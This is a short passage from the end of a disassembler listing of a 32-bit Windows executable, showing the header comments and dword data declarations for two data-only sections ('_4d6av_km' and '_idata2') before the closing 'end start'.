Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00077000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _4d6av_km segment para public 'DATA' use32 assume cs:_4d6av_km ;org 477000h dd 4F000h, 10h, 37A837A4h, 37E837B8h, 5E000h, 0Ch, 3D36h dd 60000h, 0Ch, 3900h, 61000h, 10h, 36A835EEh, 3F3h dup(0) _4d6av_km ends ; Section 9. (virtual address 00078000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00078000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 478000h dd 80h dup(0) align 1000h _idata2 ends end start